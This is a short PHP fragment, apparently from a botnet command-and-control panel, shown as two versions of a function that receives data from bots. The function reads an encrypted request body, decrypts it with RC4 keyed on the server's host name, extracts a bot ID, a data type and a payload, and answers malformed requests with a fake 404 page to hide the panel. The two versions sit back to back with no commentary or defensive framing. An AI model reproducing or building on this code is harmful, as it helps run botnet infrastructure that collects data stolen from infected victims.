function GetServerData() { global $bot_id, $data_type, $raw_data; //if (defined('D_DEBUG')) $str = $_GET['str']; else $str = file_get_contents('php://input'); if (!$str) { if (defined('D_DEBUG')) { logerror("Error: E1"); } else { error404(); } } //if (!defined('D_DEBUG')) $str = RC4($str, $_SERVER['HTTP_HOST']); bdecodestr($str, $bot_id, $data_type, $raw_data); if (defined('D_DEBUG')) { logerror($bot_id . " | " . $data_type . " | " . strlen($raw_data)); } if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) { if (defined('D_DEBUG')) { logerror("Error: E2"); } else { error404(); } } }
function GetServerData() { global $bot_id, $data_type, $raw_data; $str = file_get_contents('php://input'); if (!$str) { debug("Error: E1"); error404(); } $str = RC4($str, $_SERVER['HTTP_HOST']); bdecodestr($str, $bot_id, $data_type, $raw_data); debug($bot_id . " | " . $data_type . " | " . strlen($raw_data)); if (!isset($bot_id) || empty($bot_id) || !isset($data_type) || empty($data_type)) { debug("Error: E2"); error404(); } }